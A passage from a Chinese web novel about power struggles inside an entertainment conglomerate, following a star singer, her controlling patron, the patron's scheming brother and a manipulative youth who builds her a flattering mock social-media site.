石瓷相撞,赫然之间,半人高的长瓶被砸碎成片。 屋子彻底安静了, 急得团团转的助理们寒蝉若禁,面面相觑。 她们小心觑着季语薇的脸色,见她站在中央,胸口剧烈起伏着,脸色阴鸷到了极点。 经纪人对几名助理使了个眼色,让她们先回去。 他等着季语薇平复了气息,“语薇,现在没空管宋折凝。《红丝鸳》要赶在年前杀青,最后一个月是重头戏。你还有春晚和不少年欢会要上,年后还要发售新专辑。你今天累了,我让邱总给你请的疗愈师过来,先好好睡一觉。” 季语薇转身淡淡道,“我今天不想见人。” 她的声音依旧优雅如弦、清灵若泉,如果不是墙角的那一堆碎瓷,没有人会觉得这声音的主人含有半点负面情绪。 “只是疗愈师而已。”经纪人劝道,“再有四个小时就要拍夜场,白天的行程都排满了,不趁着这会儿深度睡眠的话,你怎么熬得住。” “我说了,”季语薇沉声,“我不想见人。” 她话音刚落,响起了门铃。 鲜少有人会来季语薇的住处,何况是这个时间点。经纪人察看了下显示屏,惊讶道,“好像是季尧。” “季尧?”不仅经纪人,连季语薇都有些意外。 “你现在没空,我去打发他吧。” “等一下。”季语薇思忖道,“你回去吧,让他进来。” 经纪人疑惑,“你不是不想见人么。” 季语薇没有回答,经纪人也不过是随口一问,没有深究。 他嘱咐了遍季语薇晚上的戏,便离开宅子,换了季尧进来。 “语薇姐。”少年弯着眉眼,同季语薇问候,余光扫见了墙角那堆碎瓷。 “一会儿就要在剧组见面了,怎么突然过来。”季语薇打开冰箱,“喝点什么?” “不用这么客气。”季尧提起手中的袋子,“姐姐听说你最近心情不好,让我给你带了点农场刚摘的草莓。” 季语薇敛眸,五指扣在冰箱上,“芜澜……对我很失望吧。” 她给了她整整一年时间发育,在这没有宋折凝的一年里,邱芜澜将整个秋叶都调动起来,全力供给她养分。 她火遍了大街小巷,国内国外都播放着她的曲子,提到国内目前最红的女星时,所有人的第一印象都是“季语薇”三个字。 季语薇万万没有想到,这一切原来不过是镜花水月,叫人轻轻一拨便支离破碎。 她是邱芜澜亲自雕琢了十余年的艺术品,她该是最亮的明星、是行业的标杆、是娱乐圈的标志,可在消失了一年的宋折凝面前,竟毫无竞争之力! 季尧将草莓放去桌上,“我倒是觉得,语薇姐不用太过在乎。” 季语薇斜眼看他,“听起来,你有话想说。” “语薇姐出道十多年了,难道还不清楚娱乐圈的规则?”季尧耸肩,“再是才华横溢的普通人,也不可能和财阀的宠儿争长论短。” 季语薇面色微变,“你到底想说什么。” “没什么。”季尧举起双手,以示无害,“慰问品送到了,我先走一步。” “站住!”季语薇疾步上前,扣住他戴着发圈的手腕,那双美眸紧盯着季尧,有了薄怒,“给我把话说清楚。” 季尧无奈地叹气,“语薇姐,认识了那么久,又是同姓的姐姐,我也不想让你脸上太难看。” “芜澜不会这么对我!”季语薇冷笑,“她没有欺骗我的理由。” “这当然不是姐姐的本意,”季尧下颚微抬,“但承澜哥有不同的想法。特别是,宋折凝是他亲手签下的第一个ASHS。” 季语薇瞳孔微缩。 她手上卸了力,季尧就此挣脱。 他调整着手腕上的发圈,无不遗憾道,“真可惜,要是别的董事,姐姐一定会为了语薇姐极力争取,可说话的是承澜哥——唔,以我对宋折凝的了解,她如果回来,提的第一个要求一定是要用原来的办公室。” “正好赶上除夕大扫除,语薇姐可以顺道收拾起来。” 季语薇猛地转身,拿了手机和车钥匙往外走,“我要去见芜澜。” “去让她掂量一下你和承澜哥孰轻孰重?” 这一句话将季语薇定在原地。 她收紧五指,脸上是一闪而过的耻恼。 跟在邱芜澜身边十几年,她当然知道,邱芜澜心中,没有人能与邱承澜相较。 即便上一刻她爱抚着她的腰身、在她身上意乱情迷,可只要她说出“邱承澜”三个字,邱芜澜的眼神便会立即清明犀利。 季语薇敢拿邱泽安、邱泽然开玩笑,却连邱承澜三个字都不敢提及。 宋折凝、宋折凝——! 她抢走了她的整整十年,那些宋折凝风光荣耀的日子里,她像个老鼠一样躲在阴暗的下水道里。 她既然高调地走了,为什么还要回来、还要抢她的东西! “别让姐姐为难,”季语薇身后传来季尧的低语,“既是谈判,就直接去找有决定权的那个。” 季语薇皱眉,余光睇向季尧,“你要我去找邱承澜?” 季尧天真地眨眼,不置可否,把自己摘了出去。 季语薇沉默。 去找邱承澜是她想都不曾想过的道路,也的确是最有效的道路。 不过,在此之前,她要先弄清楚季尧的来意。 “你跑来我家阴阳怪气地说了那么多,到底是什么目的。” “我么,”季尧眼睫微垂,“我只是觉得,宋折凝离开后,姐姐舒服了很多。” “你应该能想象得到:如果宋折凝趾高气昂的回来,那姐姐的立场会有多么被动,她在行业、在股东面前又会多么难堪。” 季语薇接受了这个理由,这也正是她这段时间焦躁不安的原因。 比起她自己被宋折凝各方面压低一头,季语薇更在乎的是邱芜澜的颜面。 她是邱芜澜挑选王牌,她在她身上投入了不可计数的精力、资源。 普通的买卖必定讲究投入产出比,这不计成本的背后,意味着季语薇不是一件普通商品。 她是邱芜澜用来指挥全国、乃至全球娱乐的信号旗,季语薇在娱乐圈里的影响力,要如秋叶在3C行业里的影响力一般,举足轻重。 邱芜澜的祖父创造了秋叶科技的芯片; 而邱芜澜,创造了秋叶娱乐的季语薇。 季语薇可以输给宋折凝,当一个低人一头的“小天后”;但芜澜十数年的心血不能被那个该死的女人践踏羞辱。 这时候请回宋折凝,的确像是一场成功的炒作,可一个宋折凝到底能赚取多少利益,十亿?二十亿?邱承澜怎么能为了这点钱让芜澜如此难堪! 季语薇翻出了自己从未主动联系过的号码。 她必须和邱承澜谈一谈,扭转他冷血自私的想法。 季语薇清楚,季尧的目的未必真像他说的那么单纯。 但在涉及邱承澜相关的问题上,他一个小三的儿子不管做什么都会适得其反,自己确是他唯一能找到的同盟。 季语薇怀疑他的目的,却不会质疑他对邱芜澜的忠诚。 她因而听取了季尧的建议,联系了邱承澜的特助,约他在餐厅见面。 饶是季语薇登过无数上万人的演唱台,在等待邱承澜的过程中也感到了紧张。 不仅是她深知背着邱芜澜私自约见邱承澜有多么冒险,单是想到要独自面对邱承澜,季语薇便说不出的五味杂陈。 “季小姐。” 温和知性的声音从门口传来,季语薇起身,对进门的两人致意,“钱秘书、承澜哥。” 钱秘书冲她笑了笑,接过邱承澜的外套,退了出去,“那我就不打扰二位了。” 季语薇并未说明约请邱承澜的目的,但他还是选择了回避。 “坐吧。”邱承澜叫了侍者点菜,“这还是你第一次约我。” “是呢,”季语薇执着刀叉,笑着埋怨,“我来公司都一年了,连续四个季度业绩第一,老板居然到现在都没有请我吃顿饭,到头来,还得我自己提。” 邱承澜提起醒酒器,为季语薇倒了酒,“是我的失误。” 季语薇接过酒杯,道了声谢谢,“说得好听。” “你想要什么补偿?” “这个嘛……”季语薇眸光微移,看似狡黠的小动作,避开了和邱承澜直接对视。 “我想要秋叶娱乐最高规格的待遇、最大的办公室,以及最顶级的资源。” 邱承澜饮了一口酒。 他品尝着红酒浸染味蕾的润感,慢慢将其咽入喉中。 “最高规格的待遇,当然是给最有价值的员工。” 他放下酒杯,双手交握,搁在交叠的膝盖上,“容我问一句,你约我之前,见到的是芜澜,还是季尧。” 季语薇脸上的笑容就此凝滞了。 第86章 第八十六章 被那双洞悉一切的黑眸审视, 季语薇如坐针毡。 邱承澜无疑是她遇到过最具压迫感的人之一,他和邱芜澜接受了相同的精英教育,恩威兼施这门课程上, 两人的成绩同样优秀,可选取的恩威比例则完全相反。 季语薇喜欢邱芜澜偶尔的冷酷。 偶尔的一次绝情, 像是洒在西瓜上的细盐,能让她更清楚地感受到她平时对她有多么纵容宠爱; 但和邱承澜相处, 只会让人冷汗涔出,心有余悸。 他的“恩”,是死里逃生后的一种庆幸。 季语薇不喜欢这种虎口逃生的后怕, 会让她连做好几天噩梦。 她强装镇定, “承澜哥认为我见的是谁呢。” “芜澜很看好你, 她视你为娱乐圈未来的风向标, 我却不这么认为。”邱承澜下颚微收, “高难度的歌曲必然导致传唱度降低, 一首歌要保证传唱度, 就不需要过于高超的演唱技术。 “比起一百分的天才,我更需要八十分的优秀人才,他们不仅能引领全民潮流、控制大众审美的阈值点, 还能刺激其他六十分的普通人上进, 再者, 他们的使用成本也更为合适。” 他轻慢地下了结论,“娱乐公司最多需要宋折凝这样八十五分的人才, 至于贝多芬这样的天才, 他们的存在未必完全是件好事。” 季语薇一怔。 来之前她并未百分百相信季尧所说的一切;在听了邱承澜这段话后,她再没有自欺欺人的余地—— 毫无疑问,宋折凝近期爆火的幕后推手就是邱承澜。 “承澜哥的想法真是与众不同。”她掩唇笑道, “别的老板都上赶着巴结讨好精英骨干,承澜哥却对我这个头牌冷嘲热讽,不知道的,还以为承澜哥想开了我。” 邱承澜不假辞色,“宋折凝走后,音乐有你,影视有华君润,宋折凝上一个小时走人,下一个小时,芜澜就能找到更好的替代品。小季,你要是走了,公司可怎么办。” 季语薇理解了邱承澜所谓“天才的存在未必完全是件好事”的论调。 宋折凝虽然是双栖影后,可唱功在一众天后中算不上独一无二;演技在演艺圈里也只是可圈可点,多的是能与她媲美的演员。 “这就是承澜哥宁愿选择宋折凝的理由?”季语薇感到荒诞可笑,“你不是不知道我和芜澜的关系,何必揣测我会背叛。” “你是为了芜澜而进的秋叶娱乐,如果芜澜离开了呢。” 邱承澜淡淡道,“届时她会比宋折凝更加致命,瞬间把我整个公司拖垮挖空。” 季语薇咬牙。 霎时间,愤恨、憎恶以及强烈的背叛感如业火熛燃。 邱承澜——他怎么敢。 如果不是芜澜,秋叶娱乐不过是个半层写字楼大的工作室。是芜澜花费了十年心血,将它一步步打造成矗立瑚城中央的宝塔、成为了艺人们梦寐以求的圣殿。 这个男人竟然轻描淡写地说出这种话来! 秋叶娱乐是芜澜的,这里的所有资产、所有艺人,哪怕是背叛了芜澜的宋折凝,也全都是芜澜的东西! 他有什么资格将秋叶娱乐视为自己的成果! 这餐饭不欢而散,邱承澜看着女人维持着礼貌,请求提前离席。 她的表情还算得体,背影却透出冰冷的阴沉。 钱秘书无奈,“看来季小姐是恨上您了。” 邱承澜坐在原位,凝望着杯中红酒。 “芜澜在项目和投资上的嗅觉不如我和父亲,但在调.教人这方面,邱家还没有人是她对手。” 钱秘书扭头,望着季语薇离开的方向,“是啊,这简直像是一个奇迹。” “奇迹?”邱承澜嗤笑,漫不经心地将杯中红酒倒入盘中,“洗脑而已。” 季语薇,这样一个趋利避害的聪明人,如今为了她人的利益,像个走卒一样冲在前面当炮灰。 原本的季语薇是什么模样,已经没有人知道了。 他那厉害的妹妹把季语薇性格里的骄奢淫逸放大到了极致。 邱承澜在那身华服之下看见的不是一个女人,而是一个利欲熏心的欲望集合体。 邱芜澜扭曲了她的三观、认知,让季语薇时而恍惚:自己才是邱芜澜。 秋叶娱乐、秋叶集团——这些都该是她的东西。 即便是被员工抱怨黑心资本家的邱承澜,在看见季语薇这半年的日程表时,也不禁皱眉。 表面上,邱芜澜对季语薇关怀备至,为她请了私人疗愈师,二十四小时随时待命。 这份独一无二的宠爱背后,是吃人的压榨。 季语薇已经五个月没有连续七小时以上的休息时间了。 她无法自然入睡,因为睡觉太浪费时间。 邱芜澜为她准备的疗愈师会对季语薇进行催眠,如此一来,她只需要两到三个小时的高质量深度睡眠,就能保持一天旺盛的精力。 疗愈师压缩季语薇的睡眠; 护理师免去她打理自己的时间; 倍数增加的助理提高她的工作效率、帮她处理好一切家务琐碎。 季语薇所有的时间都用来工作,护理头发的时候可以背诵台本,洗澡护肤的时候可以练歌,就连吃饭,都能腾出双手练习手势。 进餐时,邱承澜试探了两句。 “祝贺你。秋叶娱乐创立至今,我还从没见过这么高的业绩。这段时间,你实在辛苦了。” “哎呀,能得到承澜哥的夸奖,真是受宠若惊。”季语薇眼底的神色和嘴巴上的话语截然相反,客套的笑容背后死水一潭,对邱承澜的褒奖极其不屑。 这种不屑,和她听见邱芜澜褒奖时的反应形成鲜明对比。 邱承澜见过几次邱芜澜夸奖季语薇的场景。 面对邱芜澜随口一句“做得好”,那优雅柔媚的金梅天后,会心花怒放至殷红滴水,渗出花卉腐烂的腥甜味,仿佛她生来的意义便是为了让邱芜澜满意。 邱承澜之所以对这一场景的印象深刻,是因为他见过很多次类似的表情—— 那是邱芜澜每次见到他时都会露出的神态表情。 她将自己对哥哥的喜爱,套用去了季语薇身上;以自己对邱承澜的感情为模板,调.教驯化了季语薇。 即便邱芜澜对他的感情不至于像季语薇那样偏执,但在邱承澜看来,这是个危险的信号,决不能姑息。 “你确实辛苦了,”邱承澜再度强调这个事实,“我给你批一周假,休息休息。” “休假就不用了,”季语薇眼底的蔑视愈发冷暗,她笑吟吟道,“您明知道年底这段时间我走不开,真要奖励我,就换算成钱吧。” “不一定是现在,可以等过完年,你忙完。” “芜澜已经制定好了我新年Q1的内容,恐怕也抽不出空呢。” 邱承澜还是头一次劝员工别这么拼命工作,他自己都觉得好笑了,“机器也需要关机养护,你是打算全年无休了么。” 季语薇道,“放心吧,该我休息时,芜澜会安排的。” 芜澜、芜澜、芜澜……她每一句话里都充斥着这两个字,如同每一段程序都离不开“if”开头。 季语薇,她在某些方面已很难算是一个“人”了,更像个合格的产品。 不过这一次,对她进行编码、驱动她来见邱承澜的人并非邱芜澜,而是那个让邱承澜不喜到了忌惮的少年。 冰冷的红酒浸泡了盘中剩下的牛排,和切面上的牛血混合一处。 邱承澜将高脚杯倒扣在牛肉上,腕骨微拧。 他起身,扯了扯领带,沉冷地望着高楼下季语薇的车子离去。 这明明是他亲自布置的局,那个情妇的儿子如他所想地把季语薇送到了他面前。 他按照他设下的路线乖乖推动着棋局,可这分毫不差的路线,让邱承澜愈发忌惮。 他引以为傲的妹妹尚未察觉他的心意,那个卑贱的情妇之子,却已猜中了他的全部计划。 邱承澜很久没有这么烦躁了。 “带药了么。”他倏地开口。 钱秘书大惊,连忙观察邱承澜的面色,见他眉宇之间深藏戾气,一如青少年时发病的前兆。 “带了。”钱秘书立即取出药来,“怎么了,是这里的环境不合您的心意么。” 邱承澜没有回答,他干吞了药丸,趁药效发作之前大步离开,“事办完了,回去吧。” 他得回去睡一觉了。 等他醒来,季语薇就该起到他满意的效果了。 钱秘书提前两步为邱承澜开门。他忧心忡忡,担心着邱承澜的精神状态。 既然事情谈得很顺利,那到底是什么刺激到了邱承澜? 钱秘书扭头回顾了一番餐厅,目光在邱承澜用过的餐盘上停留半息。 那倒扣在了牛肉上的高脚杯,深陷在了肉里。 脆弱的玻璃杯口,将厚实的牛肉下割了一指有余。 殷红的牛血汩汩渗出。 季尧分解了一整块牛肋骨。 锐长的剔骨刀在他左手上转了半圈刀花,冰冷如镜的刀面映出少年精致的眉眼。 “阿尧、阿尧,我饿了。” 刀面上淡漠的圆眸顷刻间有了神采,像是被彩墨点了睛,流露出甜蜜。 “很快就好了,姐姐。”他回答道。 “好饿……阿尧,你什么时候才让我吃到正餐。” 羽毛般的轻语拂过季尧耳垂,蛊惑般催促,“这种东西,可没法填饱我。” 季尧瞥向季语薇离开时的方向。 他执着剔骨刀,将肉从骨头上割下。 “再等一下姐姐,那道正餐也很快就会好的。” 牛血淌满了料理台。 血从白色的大理石台面滴落流下,于少年脚边汇聚成股,间隔发出“滴答”的坠声。 没有开灯的厨房里,少年独自站在料理台前,一边持刀剔骨,一边闲聊说话。 “订的有点多了,要给君润哥送去一点么。” “可是我们吃不了那么多,剩下的就不新鲜了。” “送给语薇姐吗?也好,她今天应该是没有吃多少东西就回来了,我做好后叫个跑腿给她送去吧。” “就是不知道,她还有没有吃的胃口。” 他转身蹲下,将牛勒骨放入烤箱,起身之后,对着无人的空地扬起笑脸,“好了姐姐,准备工作都完成了,马上就可以开吃了。” 没有回应。 偌大的厨房漆黑无光,仅有他一人而已。 第87章 第八十七章 邱芜澜听到季语薇助理来给她请病假时, 有些意外。 “她生的什么病?” 助理袒露:“说是生病,其实是季语薇心情不太好。” 邱芜澜扫向简,简解释道, “新一季《singer》开录了,他们临时增加了个导师对决抢人的环节, 每期导师唱开场曲,由底下观众投票打分。后续导师选学员的次序就按照观众喜爱度排名。季语薇的排名……比宋折凝低。” “差得多么?” “五百名观众, 五位导师,她比宋折凝低了八十票。” 邱芜澜诧异,“其他人呢。” “另外三个都在正常的一百左右, 季语薇垫底, 她的票全都被宋折凝吸走了。” 邱芜澜第一反应问:“是她自己要求这样的?” 助理摇头, “没有。不只是这个节目, 但凡她和宋折凝一起参加的节目, 季语薇都被宋折凝全方位打压, 只是这一次太过离谱了。” 季语薇再是不如宋折凝, 也不至于排名最末;更不至于在人均一百票的节目里,只拿三十几票。 任谁一看,这是都一场由宋折凝发起的、明晃晃针对季语薇的围剿。 邱芜澜沉吟, 季语薇并非这么脆弱的性格, 被宋折凝全方面碾压, 她绝不可能回家一个人默默流泪,只会更疯狂地向上攀爬, 抓住手里一切资源。 这其中一定有她还不了解的情报。 不论如何, 既然季语薇向她发出了求安抚的信号,那她就过去看看。 看病不能空着手去,邱芜澜对简道, “帮我去买三十件瓷器;再去技术部看一下,他们手里要是没有紧急的活儿,就做一个仿冒云书给我。” 简知道瓷器的作用,却不明白后者是什么意思:“仿冒云书?” “对,去云书爬一下夸奖季语薇和贬低宋折凝的内容,做个纯净版,让她看舒心。之后我会收走她的社交账号,这段时间不要让她看见自己相关咨询,免得再影响工作。” “哎呀,”简不由得笑了,“我还以为,您只会给季小姐送钱呢。” “她胃口越来越大了,我也经不起她这样掏。”邱芜澜说着,表情却不反感。 她喜欢能用钱买到的东西。 简马上去了趟技术部,回来告诉邱芜澜,“他们手头有个单子忙着后天交案。” “没关系,”邱芜澜说,“以我个人名义,去集团下需求,付加急费。” 秋叶娱乐不是互联网类公司,IT部门人手不多;但秋叶集团不同。 “好的。” 简去办了。 邱芜澜没有把这事放在心上。 她很了解集团的能力,秋叶集团IT人数众多,几十年下来一定有类似的网站框架可以沿用,这点小活对他们而言不成问题。 然而二十分钟后,她收到了邱承澜的电话。 “哥哥?”她在念这个词时,语气习惯性上扬。 “我听说你下了个急单给IT。”与此相反,打电话来的邱承澜口吻沉冷,“什么时候秋叶还提供私人定制业务了。” 邱芜澜一怔。 她当然知道这是超出一般流程外的操作,但她是邱芜澜,是秋叶集团的董事、是集团高管,更是邱家的继承人之一。 “哥哥,季语薇这边遇到了点事情,”她想,或许是有人向上举报了这件事,自己没有和哥哥打过招呼,他恼火也是正常的,“她毕竟是公司的核心ASHS,进公司的一年,为集团创收不少,能破例提供一回技术支持么。” “集团会为子公司提供支持,但秋叶不是微小型企业,要是每一个姓邱的都无视规章制度,随随便便地提要求,那公司再也别想正常运作了。”邱承澜冷声,“立刻撤回你可笑的订单,按照急单的流程上报,等集团评估审批之后,会给秋叶娱乐答复的。” “哥哥!” “还有什么事。” 他冰冷的语调听得邱芜澜心跳漏了一拍,她陷入在不可置信的震惊中,为他鄙夷的用词所伤,又随之怒火中烧—— 他竟然这样和她说话。 他竟敢这样对她! 感受到这股恼怒后,邱芜澜愣住了。 她知道自己的自尊心和掌控欲高于常人,可她对邱承澜绝对尊重,怎么会因为一两句话就和他置气…… 邱芜澜摒弃掉繁杂的个人情绪,只从公事的角度出发:“哥哥,季语薇的商单排得很满,耽搁一天都会对之后的单子产生影响。我会补上流程的,能不能让IT先帮我们做…” “这难道不是你的问题么。”她话未说完,被邱承澜打断,“你的安排太不合理、定制的排程如此脆弱,抗风险性差到连走急单的时间都等不了。” “邱芜澜,你不是第一天干这个活儿了,为什么会出现这样的状况。季语薇今天心情不好,你就要让集团给你做个拍马屁的程序安抚她;要是季语薇出事故受伤了呢,你打算把诺贝尔得奖主聚在一起,马上研发起死回生药么。” “哥…” “秋叶娱乐运转安稳,艺人完全没有必要忙成这样。你自己清楚,这一次季语薇的合约被延误是谁的责任。” 他不耐又失望地结束了通话,“邱芜澜,别夹带太多私人情绪,否则我会马上安排新的副总过来接替你的工作,直到你恢复清醒。” 邱芜澜咬牙。 一种难以言述的羞愤令她指尖发抖。自出生以来,邱芜澜从未如此被人羞辱过——或许有过,可那些人她从未放在眼睛里,于是根本没有记忆。 邱承澜不同,他是她最崇敬的兄长,是她的楷模,即便他不像邱家其他人那样无条件宠爱家人,对她的态度也稍显冷淡,可在此之前,他从未这样对待过她。 宋折凝…… 邱芜澜握紧了手机,抓到了邱承澜态度转变的那个折点。 是因为宋折凝么…… 哥哥他……爱着宋折凝? 她是他亲自签约的艺人,难道宋折凝对哥哥来说,像是季语薇对她一样珍贵? 「否则我会马上安排新的副总过来接替你的工作,直到你恢复清醒。」 他说的副总是谁—— 邱芜澜瞳孔骤缩,陡然意识到,邱承澜很有可能将宋折凝视为秋叶娱乐的支柱。 以宋折凝的性格,她一定会和哥哥有私下交际。 邱芜澜无从得知她曾对邱承澜说过些什么,哥哥第一个签约的艺人是她,足以证明他对宋折凝能力的认可。 在宋折凝的运作下,他极有可能认为:宋折凝才是撑起秋叶娱乐的实际管理者,是宋折凝尽心尽力辅佐自己,才让秋叶娱乐蒸蒸日上、让自己这个二十几岁的年轻人能坐稳副总的位置。 哥哥他……是这样想的么。 “邱总……”简小心翼翼地进门汇报,她没有听见那通对话,但收到了集团拒绝合作的消息,“瓷器已经买好了,要现在送过去么。” “不,等一下。”邱芜澜握手机的五指收紧。 她对仿冒云书并不执着,如果集团真的不方便接这个活儿,邱芜澜有的是其他安抚季语薇的礼物。 可这一刻,她说不清的不甘恼怒。 她今天非得把这事办成不可。 生在秋叶集团这样科技型企业下,邱芜澜无疑有相当广阔的互联网人脉。 她可以立马把这活外包出去,只是这到底不是件光彩事,如果泄露,季语薇和秋叶娱乐乃至邱芜澜本人都会受到抨击。 她需要一个拥有快速搭建网站技术,又足够值得信任的人。 一时间,邱芜澜脑海里出现了一双璀璨甜蜜的圆眸。 阿尧…… 但这一次,邱芜澜再无法说服自己这只是一种学生作业。 毫无疑问,它是一份切切实实的工作,和公司业务强挂钩。 她本犹豫着,一想起邱承澜的态度,便没了以往的愧疚。 就算她给季语薇的排程太过紧凑,那又如何? 这十年来,她何曾对其他艺人执行过这样的计划?她是在了解季语薇实际情况下定制的排程,她确信季语薇能够接受这样的强度。 人身健康排除在了违约内容之外,如果季语薇真的受伤了,她反倒不需要动作。 集团问责她也好、停职她也罢,事情已经发生,追责之前,都该先把支持顶上。 “阿尧,”她很快下定决心,向对面发送语音,“来一趟公司。” “想说什么?”邱承澜放下手机,抬眸看向欲言又止的钱秘书。 “您的语气有些过重了。”自他打那通电话开始,钱秘书就忧心忡忡。 “这是个绝好的机会。”邱承澜敛眸,“季语薇的效果好得超出预料。我不能错过它。” “您为什么这样说?” 昏黑的别墅之中,季尧捧着手机。 屏幕的荧光照亮了他的面颊。 他反复点开那条语音,听了十四遍后,心满意足起身。 洗漱、梳头、挑选衣服,他尚不知邱芜澜找他的缘由,但在做出门准备时,季尧隐隐有一种美妙的预感—— 今天之后,一切都将不同。 因为 “钱秘书,据我所知,那个情妇的儿子学过编程。” “这个关口,芜澜一定会联系他,将他重新启用。” 第88章 第八十八章 “季语薇的几个助理已经挑选了要爬取的言论和账号。能承载三百个账号、两万字左右的文本就够了。”邱芜澜望向季尧, “多少时间能给到我。” 季尧听完需求,构思道,“不止是文本和图片, 语薇姐的粉丝一定还会发动图和视屏,为保证真实性, 还要把云书里的动态广告也加入进去。” “广告……”邱芜澜扶额,“倒是忘了这一点。” “别担心姐姐, ”季尧冲她弯眸,“九点前交到你手上,不会耽搁语薇姐接下来的工作。” “我不会让你打白工, ”邱芜澜道, “简会按市场价支付给你报酬。” “急单的话, 可不能按市场价计算。”季尧露出一侧小犬牙, “何况这个活儿, 是得要签保密协议的吧。” 他像是只小狐狸一样笑着, 邱芜澜自接到邱承澜电话后的戾气忽而散去了大半。 她下意识伸出手, 在季尧习惯性地低头、让她抚摸软发时,陡然僵停。 “姐姐?”季尧维持着弯腰低头的姿态,久久没有等到那只手落到自己头上。 邱芜澜神情晦涩。 她骤然反应过来自己刚才在想什么—— 她只是想揉一揉弟弟的脑袋么。 不, 她五指的力度远超抚摸。 她是想抓住季尧的头发, 把他摁在地上, 等他讨好自己、告诉她那只是玩笑话、他不需要报酬时,再将钱转入他的账号。 为什么会这样…… 邱芜澜抿唇, 她已经决定放季尧自由很久了。 从前是韩尘霄不堪用, 她才给自己和季尧留了一个过渡阶段; 现在华君润就在楼下,他温顺体贴、能满足她所有需求。 一年过去,季尧又大了一岁, 自己对他的掌控欲为何不减反增…… 想起华君润提到季尧时的隐晦劝告,邱芜澜将手收了回来,若无其事地搭在了扶手上。 季尧瞳孔微缩,紧盯着那只放下的手。一瞬间,他的五感蒙上了一层毛玻璃,整个世界都变得朦胧模糊,只有那只手清晰鲜明地倒映在他瞳孔中。 想要、想要想要想要… 他想要姐姐的爱抚…… “阿尧、阿尧?” 邱芜澜疑惑地蹙眉,“你听见我说话了么。” 季尧猛地回神,“抱歉,刚刚在想有几个旧代码可以用到。” “你自己有可以用的?”邱芜澜微讶,“我还准备打包发给你一份。” “给我吧,姐姐。” 季尧蹲下来,搭着邱芜澜的扶手,指尖与她扶手上的尾指相隔纤毫,“我也就是平常无聊时随便写的,肯定没有姐姐现成喂的饭香。” “简会拿给你。”邱芜澜不疑有他,“季语薇的几个助理已经在她办公室筛选账号了,你过去吧,有什么需要再和我说。” 季尧仰头,“需要姐姐摸摸我。” 邱芜澜神色一僵。 那双玻璃糖般剔透的眼困惑失落地望着她,“和君润哥在一起后,姐姐都不怎么管我了,还不如韩尘霄那时候。” 邱芜澜张口,许多语重心长的话堵在喉咙口。 她想告诉他,就算季葶不在邱家了,他的身份也不会改变,他一样可以像泽安泽然那样,低落难过时找她撒娇; 她爱他,但他早晚要独当一面,不能永远这副模样。 许多话堆挤到一起,在邱芜澜看见那微卷的柔发、看见他纯粹的圆眸时,又无处宣泄。 最终,她克制着,轻轻覆上他的头顶。 邱芜澜本想,这还算是姐弟之间正常的相处方式。 然而下一瞬,她看见少年脸上绽出陶醉痴迷的红晕。 这透熟的桃红,透出一股病态的妖艳,看似饱满,实则熟过了头,一捏便是烂水。 邱芜澜有些恍惚,理智告诉她这似乎有点不对;感情上,她异常满足。 她把这刹那的异常抛之脑后,思考着季语薇、宋折凝和哥哥之间的种种。 八点半,提前了半个小时,那份仿冒云书交到了邱芜澜手上。 除了邱芜澜要求的功能外,其他一片空白。 她不会让季语薇亲自操作,因此做到这一步就已足够。 带着这份礼物,以及备好的瓷器,邱芜澜前往了季语薇的住所。 简将车开到别墅前便回去了,等第二天再来接人。 邱芜澜在院门口识别指纹和瞳孔,踏入了这座梦幻般的白色城堡。 送给季语薇的亲王庄园还在装修,那是她三十岁的礼物。 今年她二十九岁生日,邱芜澜送了她一片新培育出的抗寒蓝色妖姬。 夜风寒凉,蓝色的玫瑰围满了这座白堡,邱芜澜若有所感地抬头,正对上站在二楼露台的季语薇。 她撑着大理石栏杆望她,衣裙单薄,双眼红肿。 她们上下相视,那双干涸的美眸顷刻间又淌出涓涓细泪。 “芜澜……” 当邱芜澜进门,季语薇从楼梯上快步跑下,扑向她的怀抱。 她紧紧抱着她,抓着她背后的衣料,仅着一身无袖的丝绸白裙坐在冬夜里。 邱芜澜只觉得怀里撞进了一片霜。 这片霜嚎啕大哭,她的声音实在美妙,不需要嘤嘤作态,就连不顾形象的嚎哭都动听悦耳。 “听说你病了,”邱芜澜整理着她被寒风吹乱的发丝,“语薇,我很担心你。” “巨屏上没有我了……”她呜咽着,“芜澜,他们把我从那里拽下来了。” 邱芜澜了然,她说的是瑚城CBD的3D巨屏。 “不是的,是你上一个代言到期了,最近在协商新合约里的一些细节。”她安慰道,“下周你又会上去的。” “可宋折凝上去了!”季语薇仰头,那双眼里盈满泪水,水晶灯下,点点泪光将她哭红的眼睛晕染成惊艳的红,“芜澜,那是我的位置,她抢走了我的位置!我不许她趾高气昂地俯视我!” 邱芜澜蓦地躁戾不堪。 宋折凝的商业价值根本没有季语薇大,她已经没有升值空间,季语薇却如一座刚刚开采稳定的金矿,底下埋着无尽黄金。 她是她最杰出的代表作之一,邱芜澜对季语薇倾注了呕心沥血的感情。 当《哀悼基督》向米开朗基罗哀诉、当《睡莲》向莫奈啼哭时,他们的心情便是邱芜澜此刻的心情。 她的灵魂为季语薇的泪水而颤栗。 “是承澜哥在支持她么。” 邱芜澜一顿,看向哭累后栖息在她怀中的季语薇,“你怎么会这么想。” “她就是再厉害,也不可能和有公司支持的我相比。”哭得太久,季语薇的眼神有些麻木,“除了承澜哥,我想不到谁有这样支持她的势力和原因。” 宋折凝虽然签约了华映,但华映还不至于有把秋叶压着打的能耐。 邱芜澜意识到自己有些敏感了,季语薇不笨,能猜到也不奇怪。 她沉默的反应让季语薇猛地支起身子,泪眼汪汪地凝视她。 “真的是承澜哥?他为什么要这样做?是因为我比宋折凝差……” “当然不是。”邱芜澜脱口而出,语气微疾。 她看见季语薇咬着下唇,不安又彷徨。 她已开始动摇,苍白的言语不足以安定她的心神,那张被邱芜澜擦拭得优雅自信的脸上出现了裂痕,变得黯淡无光。 “可是,承澜哥的选择是不会有错的……” 邱芜澜一怔。 季语薇颓废地自嘲,“现在我才是公司艺人,他一定是觉得宋折凝比我好得多,才会不惜花费这样大的代价。” “不,他脱离娱乐行业太久了。”邱芜澜沉沉开口。 自她有记忆以来,邱承澜从未有过大的失误。他是人,自然也会犯些小错误,但在关键选择上,他从未判断出错。 他一个人熬过了艰难孤独的前半生,为治疗精神上的问题,过着囚犯般清苦的生活。 邱承澜不仅是她的第一个兄弟,他强大的意志力、忍耐力和精锐的洞察力,令邱芜澜崇拜不已。 她因而追随他,支持他的所有决定——哪怕他要封藏她最喜欢的作品,她也毫不犹豫地执行。 可这一次,她确信邱承澜错了,且错得离谱。 “即便是宋折凝,也是在我手里成为的天后影后,”邱芜澜拂过季语薇脸上斑驳的泪痕,“科技行业和娱乐圈是截然不同的。语薇,我确定你的价值远胜过她,你只需要相信我说的话。” “可是承澜哥……” 